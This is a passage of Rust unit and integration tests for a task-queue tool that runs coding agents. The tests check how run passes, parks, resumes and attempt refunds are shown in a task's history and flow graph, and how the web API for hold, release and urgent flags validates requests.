17758        let mut t = flow_task(&[FA, FA]);
17759        t.status = TaskStatus::Queued;
17760        let f = flow_for(&t, &[(FA, Some(quota()))]);
17761        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17762        assert_eq!(f.nodes[1].note, Some("interrupted"));
17763        assert_eq!(
17764            f.nodes[1].status, None,
17765            "no outcome copied onto an earlier pass"
17766        );
17767        assert_eq!(
17768            f.edges[1].attempt,
17769            AttemptCost::Unknown,
17770            "a resume does not prove the earlier pass was refunded"
17771        );
17772        assert!(f.edges[1].label.contains("resume the same run"));
17773        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17774        assert_eq!(
17775            f.edges[2].label,
17776            "stalled after a resume, refund unknown \u{2192} queued"
17777        );
17778        assert!(!f.nodes[2].decided, "a stall is not a decision");
17779        assert_eq!(f.nodes[2].note, Some("no verdict"));
17780    }
17781
17782    #[test]
17783    fn flow_single_pass_quota_stall_is_refunded() {
17784        let t = flow_task(&[FA]);
17785        let f = flow_for(
17786            &t,
17787            &[(
17788                FA,
17789                Some(flow_run(RunStatus::Stalled, |s| {
17790                    s.quota.push(crate::run::QuotaLoss {
17791                        cause: crate::agent::QuotaCause::UsageLimit,
17792                        agent: String::new(),
17793                        seat: "judge-1".to_owned(),
17794                        node: "judge".to_owned(),
17795                        at: Timestamp::now(),
17796                        reset: None,
17797                    })
17798                })),
17799            )],
17800        );
17801        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17802    }
17803
17804    #[test]
17805    fn flow_parked_refunds_and_stall_without_quota_spends() {
17806        let mut t = flow_task(&[FA]);
17807        t.status = TaskStatus::Queued;
17808        let f = flow_for(
17809            &t,
17810            &[(
17811                FA,
17812                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17813            )],
17814        );
17815        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17816        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17817        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17818        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17819        assert!(!f.nodes[1].decided);
17820    }
17821
17822    #[test]
17823    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17824        let t = flow_task(&[FA, FB]);
17825        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17826        assert_eq!(f.nodes[1].note, Some("unreadable"));
17827        assert!(!f.nodes[1].readable);
17828        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17829        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17830    }
17831
17832    #[test]
17833    fn flow_names_the_branch_of_a_review_only_run() {
17834        let t = flow_task(&[FA]);
17835        let f = flow_for(
17836            &t,
17837            &[(
17838                FA,
17839                Some(flow_run(RunStatus::Merged, |s| {
17840                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17841                })),
17842            )],
17843        );
17844        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17845        assert_eq!(
17846            f.nodes[1].detail.as_deref(),
17847            Some("review-only run of branch magi/x/A")
17848        );
17849    }
17850
17851    #[test]
17852    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17853        let mut t = flow_task(&[FA]);
17854        t.status = TaskStatus::Held;
17855        let pr = crate::run::PrRecord {
17856            url: "https://example.test/pr/1".to_owned(),
17857            number: 1,
17858            state: "open".to_owned(),
17859            checks: "green".to_owned(),
17860            round: 0,
17861            rounds: 3,
17862            red_at_merge: Vec::new(),
17863        };
17864        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17865        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17866        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17867        t.status = TaskStatus::Done;
17868        let f = flow_for(&t, &[(FA, Some(blocked))]);
17869        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17870    }
17871
17872    #[test]
17873    fn flow_with_no_runs_goes_from_queued_to_queued() {
17874        let t = flow_task(&[]);
17875        let f = flow_for(&t, &[]);
17876        assert_eq!(f.nodes.len(), 2);
17877        assert_eq!(f.edges.len(), 1);
17878        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17879        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17880    }
17881
17882    /// A run parked mid-flight keeps a non-terminal status; the page must
17883    /// still say why it stopped and that the attempt came back.
17884    #[test]
17885    fn a_parked_non_terminal_run_is_explained_as_parked() {
17886        let mut s = RunState::new(
17887            PathBuf::from("/repo/magi"),
17888            "main".to_owned(),
17889            "0123456789abcdef".to_owned(),
17890            "Do it".to_owned(),
17891            Config::default(),
17892        );
17893        s.status = RunStatus::Implementing;
17894        s.parked = true;
17895        let task = Task::new(
17896            "t".to_owned(),
17897            "Do it".to_owned(),
17898            PathBuf::from("/repo/magi"),
17899            Source::Human,
17900        );
17901        let v = task_run_view(
17902            "20260902-140501-aaaa",
17903            Some(&s),
17904            RunSlot {
17905                n: 1,
17906                resumed: false,
17907                resumed_later: None,
17908                prior: None,
17909                last: true,
17910                ..RunSlot::default()
17911            },
17912            &task,
17913        );
17914        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17915    }
17916
17917    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17918        let mut s = flow_run(RunStatus::Implementing, edit);
17919        s.parked = false;
17920        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17921        task_run_view(
17922            "20260902-140501-aaaa",
17923            Some(&s),
17924            RunSlot {
17925                n: 1,
17926                resumed: false,
17927                resumed_later: Some(2),
17928                prior: None,
17929                last: false,
17930                ..RunSlot::default()
17931            },
17932            &task,
17933        )
17934    }
17935
17936    #[test]
17937    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17938        let v = earlier_pass_view(|_| {});
17939        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17940        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17941        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17942        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17943        assert_eq!(v.exit, RunExit::Interrupted);
17944        assert_eq!(v.attempt, AttemptCost::Unknown);
17945    }
17946
17947    #[test]
17948    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17949        let v = earlier_pass_view(|s| {
17950            s.quota.push(crate::run::QuotaLoss {
17951                cause: crate::agent::QuotaCause::UsageLimit,
17952                agent: String::new(),
17953                seat: "judge-1".to_owned(),
17954                node: "judge".to_owned(),
17955                at: Timestamp::now(),
17956                reset: None,
17957            });
17958        });
17959        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17960        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17961        assert_eq!(v.attempt, AttemptCost::Unknown);
17962    }
17963
17964    #[test]
17965    fn the_current_pass_states_its_recorded_cause_and_cost() {
17966        let slot = || RunSlot {
17967            n: 1,
17968            resumed: false,
17969            resumed_later: None,
17970            prior: None,
17971            last: true,
17972            ..RunSlot::default()
17973        };
17974        let task = flow_task(&["20260902-140501-aaaa"]);
17975        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17976        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17977        assert_eq!(
17978            (v.exit, v.attempt),
17979            (RunExit::Parked, AttemptCost::Refunded)
17980        );
17981        let spent = flow_run(RunStatus::Blocked, |_| {});
17982        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17983        assert_eq!(v.attempt, AttemptCost::Spent);
17984        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17985    }
17986
17987    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17988        crate::run::RunPass {
17989            index,
17990            started_at: Timestamp::now(),
17991            resumed: index > 0,
17992            ended_at: end.as_ref().map(|_| Timestamp::now()),
17993            end,
17994            task_entry: true,
17995        }
17996    }
17997
17998    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17999        Some(crate::run::PassEnd::Parked { cause })
18000    }
18001
18002    fn upgrade_cause() -> crate::run::ParkCause {
18003        crate::run::ParkCause::Upgrade {
18004            from: "0.121.0".to_owned(),
18005            to: Some("0.121.1".to_owned()),
18006        }
18007    }
18008
18009    fn settled_pass(
18010        run: &str,
18011        index: usize,
18012        cost: crate::queue::PassCost,
18013    ) -> crate::queue::TaskPass {
18014        crate::queue::TaskPass {
18015            run: run.to_owned(),
18016            pass_index: index,
18017            started_at: None,
18018            cost,
18019            attempts_after: 1,
18020            settled_at: Timestamp::now(),
18021            parked: None,
18022        }
18023    }
18024
18025    const RUN_X: &str = "20261011-223708-4334";
18026
18027    #[test]
18028    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18029        use crate::queue::PassCost;
18030        let run = flow_run(RunStatus::Implementing, |s| {
18031            s.passes = vec![
18032                recorded_pass(0, parked(upgrade_cause())),
18033                recorded_pass(1, None),
18034            ];
18035        });
18036        let mut task = flow_task(&[RUN_X, RUN_X]);
18037        task.attempts = 1;
18038        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18039        let h = task_history(&task, |_| Some(run.clone()));
18040        assert_eq!(h.len(), 2);
18041        assert_eq!(h[0].kind, "competition");
18042        assert_eq!(h[1].kind, "resume");
18043        assert_eq!(
18044            (h[0].exit, h[0].attempt),
18045            (RunExit::Parked, AttemptCost::Refunded)
18046        );
18047        assert!(
18048            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18049            "{}",
18050            h[0].outcome
18051        );
18052        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18053        assert!(
18054            h[0].outcome.contains("pass #2 resumed the same run"),
18055            "{}",
18056            h[0].outcome
18057        );
18058        assert!(
18059            h[0].outcome.contains("pass 1 of 2 over run"),
18060            "{}",
18061            h[0].outcome
18062        );
18063        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18064        assert_eq!(
18065            h[0].exit_label,
18066            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18067        );
18068        let f = task_flow(&task, &h, 2, None);
18069        // Two passes of one run, one of two attempts consumed.
18070        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18071        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18072        assert!(
18073            f.edges[1].label.contains("upgrade 0.121.0"),
18074            "{}",
18075            f.edges[1].label
18076        );
18077        assert!(
18078            f.edges[1].label.contains("resume the same run"),
18079            "{}",
18080            f.edges[1].label
18081        );
18082        assert_eq!(f.nodes[1].note, Some("parked"));
18083    }
18084
18085    #[test]
18086    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18087        let mut a = flow_run(RunStatus::Implementing, |s| {
18088            s.passes = vec![
18089                recorded_pass(0, parked(upgrade_cause())),
18090                recorded_pass(1, None),
18091            ];
18092        });
18093        let mut b = flow_run(RunStatus::Failed, |s| {
18094            s.passes = vec![recorded_pass(0, None)];
18095        });
18096        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18097        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18098        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18099        let mut task = flow_task(&[]);
18100        task.start("a".into());
18101        task.start("b".into());
18102        task.start("a".into());
18103        assert_eq!(task.runs, ["b", "a"]);
18104        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18105        let h = task_history(&task, |id| {
18106            Some(if id == "a" { a.clone() } else { b.clone() })
18107        });
18108        assert_eq!(
18109            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18110            ["a", "b", "a"]
18111        );
18112        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18113        assert!(h[0].outcome.contains("upgrade"));
18114        assert_eq!(h[2].kind, "resume");
18115        assert!(h[2].pass.is_some());
18116        // The old repeated-id format must show the same recorded passes.
18117        task.runs = vec!["a".into(), "b".into(), "a".into()];
18118        let old = task_history(&task, |id| {
18119            Some(if id == "a" { a.clone() } else { b.clone() })
18120        });
18121        assert_eq!(
18122            old.iter()
18123                .map(|v| (&v.id, &v.kind, v.attempt))
18124                .collect::<Vec<_>>(),
18125            h.iter()
18126                .map(|v| (&v.id, &v.kind, v.attempt))
18127                .collect::<Vec<_>>()
18128        );
18129    }
18130
18131    #[test]
18132    fn an_upgrade_whose_target_was_not_known_says_so() {
18133        let run = flow_run(RunStatus::Implementing, |s| {
18134            s.passes = vec![
18135                recorded_pass(
18136                    0,
18137                    parked(crate::run::ParkCause::Upgrade {
18138                        from: "0.121.0".to_owned(),
18139                        to: None,
18140                    }),
18141                ),
18142                recorded_pass(1, None),
18143            ];
18144        });
18145        let task = flow_task(&[RUN_X, RUN_X]);
18146        let h = task_history(&task, |_| Some(run.clone()));
18147        assert!(
18148            h[0].outcome.contains("upgrade from 0.121.0"),
18149            "{}",
18150            h[0].outcome
18151        );
18152        // No settle record: the refund is not claimed.
18153        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18154    }
18155
18156    #[test]
18157    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18158        use crate::queue::PassCost;
18159        use crate::run::ParkCause;
18160        let run = flow_run(RunStatus::Implementing, |s| {
18161            s.passes = vec![
18162                recorded_pass(0, parked(upgrade_cause())),
18163                recorded_pass(
18164                    1,
18165                    parked(ParkCause::Interrupt {
18166                        reason: "task a1b2 asked to run first".to_owned(),
18167                    }),
18168                ),
18169                recorded_pass(2, parked(ParkCause::Operator)),
18170                recorded_pass(3, None),
18171            ];
18172        });
18173        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18174        task.attempts = 1;
18175        task.passes = (0..3)
18176            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18177            .collect();
18178        let h = task_history(&task, |_| Some(run.clone()));
18179        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18180        assert!(
18181            h[1].outcome.contains("task a1b2 asked to run first"),
18182            "{}",
18183            h[1].outcome
18184        );
18185        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18186        assert!(
18187            h[2].outcome.contains("operator asked the loop to park"),
18188            "{}",
18189            h[2].outcome
18190        );
18191        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18192        let f = task_flow(&task, &h, 2, None);
18193        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18194    }
18195
18196    #[test]
18197    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18198        let run = flow_run(RunStatus::Implementing, |s| {
18199            s.passes = vec![
18200                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18201                recorded_pass(1, None),
18202            ];
18203        });
18204        let task = flow_task(&[RUN_X, RUN_X]);
18205        let h = task_history(&task, |_| Some(run.clone()));
18206        assert_eq!(h[0].exit, RunExit::Interrupted);
18207        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18208        assert!(
18209            h[0].outcome.contains("without recording why"),
18210            "{}",
18211            h[0].outcome
18212        );
18213        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18214        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18215    }
18216
18217    #[test]
18218    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18219        use crate::queue::PassCost;
18220        // Three entries, but the run only began keeping passes at the last
18221        // two: the first is legacy and must not be given a cause.
18222        let run = flow_run(RunStatus::Implementing, |s| {
18223            s.passes = vec![
18224                recorded_pass(0, parked(upgrade_cause())),
18225                recorded_pass(1, None),
18226            ];
18227        });
18228        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18229        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18230        let h = task_history(&task, |_| Some(run.clone()));
18231        assert!(h[0].pass.is_none());
18232        assert_eq!(h[0].exit, RunExit::Interrupted);
18233        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18234        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18235        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18236        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18237        // A run with no passes at all is entirely unknown.
18238        let legacy = flow_run(RunStatus::Implementing, |_| {});
18239        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18240        assert!(h.iter().all(|v| v.pass.is_none()));
18241        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18242    }
18243
18244    #[test]
18245    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18246        use crate::queue::PassCost;
18247        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18248        // task. The two entries are passes 0 and 2.
18249        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18250        web.task_entry = false;
18251        let run = flow_run(RunStatus::Implementing, |s| {
18252            s.passes = vec![
18253                recorded_pass(0, parked(upgrade_cause())),
18254                web.clone(),
18255                recorded_pass(2, None),
18256            ];
18257        });
18258        let mut task = flow_task(&[RUN_X, RUN_X]);
18259        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18260        let h = task_history(&task, |_| Some(run.clone()));
18261        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18262        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18263
18264        // Legacy first entry, then a web resume that parked for an upgrade,
18265        // then the daemon's pass: the legacy entry must stay unknown.
18266        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18267        web0.task_entry = false;
18268        let run = flow_run(RunStatus::Implementing, |s| {
18269            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18270        });
18271        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18272        assert!(h[0].pass.is_none());
18273        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18274        assert!(h[1].pass.is_some());
18275    }
18276
18277    #[tokio::test]
18278    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18279        let dir = tempfile::tempdir().unwrap();
18280        let queue = Queue::at(dir.path().join("queue"));
18281        let ui = Arc::new(Ui::new(
18282            queue.clone(),
18283            Questions::at(dir.path().join("questions")),
18284            Talks::at(dir.path().join("talks")),
18285            dir.path().join("runs"),
18286            dir.path().to_path_buf(),
18287            dir.path().to_path_buf(),
18288        ));
18289        let mut t = Task::new(
18290            "recover".into(),
18291            "Inspect".into(),
18292            PathBuf::from("."),
18293            Source::Human,
18294        );
18295        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18296        t.start("run-A".into());
18297        t.release_operator("choice", Some("resume-question"));
18298        t.resume_override = Some(crate::queue::OperatorResume {
18299            question_id: "resume-question".into(),
18300            at: jiff::Timestamp::now(),
18301            conductor_rehold: None,
18302            forced: true,
18303            pinned_run: Some("run-A".into()),
18304        });
18305        t.hold_machine(Some("inspection pending".into()));
18306        t.edit("recover".into(), "Reuse approved PR head".into())
18307            .unwrap();
18308        queue.put(&mut t).unwrap();
18309        let mut cli = t.clone();
18310        cli.release_operator("cli", None);
18311        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18312        let reloaded = queue.get(&t.id).unwrap();
18313        assert_eq!(reply.task.status, TaskStatus::Queued);
18314        assert!(reloaded.resume_override.is_none());
18315        assert_eq!(reloaded.answers, t.answers);
18316        let mut web = reloaded.resumption.unwrap();
18317        let cli = cli.resumption.unwrap();
18318        assert_eq!(web.source, "web");
18319        web.source = cli.source.clone();
18320        web.at = cli.at;
18321        assert_eq!(web, cli);
18322    }
18323
18324    #[tokio::test]
18325    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18326        let f = Fixture::start().await;
18327        let queue = f.queue();
18328        let mut task = Task::new(
18329            "spent".to_owned(),
18330            "Try again".to_owned(),
18331            PathBuf::from("/repo/magi"),
18332            Source::Human,
18333        );
18334        task.start("20260902-140502-bbbb".to_owned());
18335        task.fail("agent gave up", 9);
18336        queue.put(&mut task).expect("file the task");
18337
18338        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18339        assert_eq!(held.status, 200);
18340        assert_eq!(held.json()["status_str"], "held");
18341
18342        let released = f
18343            .post(&format!("/api/queue/{}/release", task.id), None)
18344            .await;
18345        assert_eq!(released.status, 200);
18346        assert_eq!(released.json()["status_str"], "queued");
18347        assert_eq!(released.json()["resumption"]["source"], "web");
18348        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18349        let mut cli = task.clone();
18350        cli.release_operator("cli", None);
18351        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18352        let cli = cli.resumption.unwrap();
18353        assert_eq!(web.instruction, cli.instruction);
18354        assert_eq!(web.answers_through, cli.answers_through);
18355        assert_eq!(web.runs_through, cli.runs_through);
18356        assert_eq!(web.cleared_reason, cli.cleared_reason);
18357        assert_eq!(
18358            released.json()["attempts"],
18359            0,
18360            "release is a real second chance, not an instant re-hold"
18361        );
18362        assert_eq!(
18363            queue.get(&task.id).expect("reload").status,
18364            TaskStatus::Queued,
18365            "the change is on disk, not only in the reply"
18366        );
18367        assert!(
18368            !f.home
18369                .path()
18370                .join("queue")
18371                .join(format!("{}.lock", task.id))
18372                .exists(),
18373            "the claim the mutation took is released again"
18374        );
18375    }
18376
18377    #[tokio::test]
18378    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18379        let f = Fixture::start().await;
18380        let queue = f.queue();
18381        let mut task = Task::new(
18382            "busy".to_owned(),
18383            "Running right now".to_owned(),
18384            PathBuf::from("/repo/magi"),
18385            Source::Human,
18386        );
18387        queue.put(&mut task).expect("file the task");
18388        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18389
18390        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18391
18392        assert_eq!(res.status, 409);
18393        assert_eq!(
18394            queue.get(&task.id).expect("reload").status,
18395            TaskStatus::Queued,
18396            "the refused hold changed nothing"
18397        );
18398    }
18399
18400    #[tokio::test]
18401    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18402        let f = Fixture::start().await;
18403        let queue = f.queue();
18404        let mut task = Task::new(
18405            "waiting on the migration".to_owned(),
18406            "Do the thing".to_owned(),
18407            PathBuf::from("/repo/magi"),
18408            Source::Human,
18409        );
18410        queue.put(&mut task).expect("file the task");
18411
18412        let held = f
18413            .post(
18414                &format!("/api/queue/{}/hold", task.id),
18415                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18416            )
18417            .await;
18418        assert_eq!(held.status, 200, "{}", held.body);
18419        assert_eq!(held.json()["status_str"], "held");
18420        assert_eq!(
18421            held.json()["hold_reason"],
18422            "waiting for 20260101-000000-aaaa to land"
18423        );
18424
18425        let listed = f.get("/api/queue").await.json();
18426        assert_eq!(
18427            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18428            "the card reads the reason off the same list route"
18429        );
18430
18431        // A hold with no body at all must keep working - most holds have no
18432        // reason to give.
18433        let mut plain = Task::new(
18434            "no reason given".to_owned(),
18435            "Do another thing".to_owned(),
18436            PathBuf::from("/repo/magi"),
18437            Source::Human,
18438        );
18439        queue.put(&mut plain).expect("file the task");
18440        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18441        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18442        assert!(held_plain.json()["hold_reason"].is_null());
18443
18444        let released = f
18445            .post(&format!("/api/queue/{}/release", task.id), None)
18446            .await;
18447        assert_eq!(released.status, 200);
18448        assert!(
18449            released.json()["hold_reason"].is_null(),
18450            "a release must clear the reason so the next hold does not inherit it"
18451        );
18452    }
18453
18454    #[test]
18455    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18456        for urgent in [true, false] {
18457            let body: UrgentBody =
18458                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18459            assert_eq!(body.urgent, urgent);
18460        }
18461        for input in [
18462            r#"{}"#,
18463            r#"{"urgent":null}"#,
18464            r#"{"urgent":"true"}"#,
18465            r#"{"urgent":1}"#,
18466            r#"{"urgent":true,"extra":false}"#,
18467        ] {
18468            assert!(
18469                serde_json::from_str::<UrgentBody>(input).is_err(),
18470                "{input}"
18471            );
18472        }
18473    }
18474
18475    #[tokio::test]
18476    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18477        let home = TempDir::new().unwrap();
18478        let q = Queue::at(home.path().join("queue"));
18479        let ui = Arc::new(Ui::new(
18480            q.clone(),
18481            Questions::at(home.path().join("questions")),
18482            Talks::at(home.path().join("talks")),
18483            home.path().join("runs"),
18484            home.path().into(),
18485            home.path().into(),
18486        ));
18487        let mut task = Task::new(
18488            "urgent handler".into(),
18489            "keep".into(),
18490            home.path().into(),
18491            Source::Human,
18492        );
18493        for status in [TaskStatus::Queued, TaskStatus::Held] {
18494            task.status = status;
18495            q.put(&mut task).unwrap();
18496            for urgent in [true, true, false, false] {
18497                let saved = queue_urgent(
18498                    State(Arc::clone(&ui)),
18499                    Path(task.short().into()),
18500                    Ok(Json(UrgentBody { urgent })),
18501                )
18502                .await
18503                .unwrap();
18504                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18505                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18506            }
18507        }
18508        task.status = TaskStatus::Queued;
18509        q.put(&mut task).unwrap();
18510        let claim = q.claim(&task.id).unwrap();
18511        let error = queue_urgent(
18512            State(Arc::clone(&ui)),
18513            Path(task.id.clone()),
18514            Ok(Json(UrgentBody { urgent: true })),
18515        )
18516        .await
18517        .unwrap_err();
18518        assert_eq!(error.status, StatusCode::CONFLICT);
18519        assert!(error.message.contains("released"));
18520        drop(claim);
18521        for status in [
18522            TaskStatus::Running,
18523            TaskStatus::Done,
18524            TaskStatus::Failed,
18525            TaskStatus::Blocked,
18526            TaskStatus::Parked,
18527        ] {
18528            task.status = status;
18529            q.put(&mut task).unwrap();
18530            let error = queue_urgent(
18531                State(Arc::clone(&ui)),
18532                Path(task.id.clone()),
18533                Ok(Json(UrgentBody { urgent: false })),
18534            )
18535            .await
18536            .unwrap_err();
18537            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18538            assert!(error.message.contains(status.as_str()));
18539        }
18540    }
18541
18542    #[tokio::test]
18543    async fn urgent_api_updates_preserves_and_validates_tasks() {
18544        let f = Fixture::start().await;
18545        let q = f.queue();
18546        let mut t = Task::new(
18547            "urgent API".into(),
18548            "unchanged".into(),
18549            PathBuf::from("/repo/magi"),
18550            Source::Human,
18551        );
18552        t.attempts = 2;
18553        t.priority = 9;
18554        t.interrupt = true;
18555        t.hold_reason = Some("waiting for approval".into());
18556        for status in [TaskStatus::Queued, TaskStatus::Held] {
18557            t.status = status;
18558            q.put(&mut t).unwrap();
18559            for urgent in [true, true, false, false] {
18560                let response = f
18561                    .post(
18562                        &format!("/api/queue/{}/urgent", t.short()),
18563                        Some(&format!("{{\"urgent\":{urgent}}}")),
18564                    )
18565                    .await;
18566                assert_eq!(response.status, 200, "{}", response.body);
18567                assert_eq!(response.json()["urgent"], urgent);
18568                let saved = q.get(&t.id).unwrap();
18569                let mut before = serde_json::to_value(&t).unwrap();
18570                let mut after = serde_json::to_value(saved).unwrap();
18571                before["urgent"] = urgent.into();
18572                before.as_object_mut().unwrap().remove("updated_at");
18573                after.as_object_mut().unwrap().remove("updated_at");
18574                assert_eq!(after, before);
18575            }
18576        }
18577        let route = format!("/api/queue/{}/urgent", t.id);
18578        for body in [
18579            r#"{}"#,
18580            r#"{"urgent":null}"#,
18581            r#"{"urgent":"true"}"#,
18582            r#"{"urgent":1}"#,
18583            r#"{"urgent":true,"extra":false}"#,
18584            "{",
18585        ] {
18586            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18587        }
18588        t.status = TaskStatus::Queued;
18589        q.put(&mut t).unwrap();
18590        let claim = q.claim(&t.id).unwrap();
18591        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18592        assert_eq!(response.status, 409, "{}", response.body);
18593        assert!(!q.get(&t.id).unwrap().urgent);
18594        drop(claim);
18595        for status in [
18596            TaskStatus::Running,
18597            TaskStatus::Done,
18598            TaskStatus::Failed,
18599            TaskStatus::Blocked,
18600            TaskStatus::Parked,
18601        ] {
18602            t.status = status;
18603            q.put(&mut t).unwrap();
18604            for urgent in [true, false] {
18605                let response = f
18606                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18607                    .await;
18608                assert_eq!(response.status, 400, "{}", response.body);
18609                assert!(response.body.contains(status.as_str()));
18610                assert!(response.body.contains("queued or held"));
18611                assert!(!q.get(&t.id).unwrap().urgent);
18612            }
18613        }
18614        assert_eq!(
18615            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18616                .await
18617                .status,
18618            404
18619        );
18620    }
18621
18622    #[test]
18623    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18624        for immediate in [true, false] {
18625            let body: ImmediateBody =
18626                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18627            assert_eq!(body.immediate, immediate);
18628        }
18629        for input in [
18630            r#"{}"#,
18631            r#"{"immediate":null}"#,
18632            r#"{"immediate":"true"}"#,
18633            r#"{"immediate":1}"#,
18634            r#"{"immediate":true,"extra":false}"#,
18635        ] {
18636            assert!(
18637                serde_json::from_str::<ImmediateBody>(input).is_err(),
18638                "{input}"
18639            );
18640        }
18641    }
18642
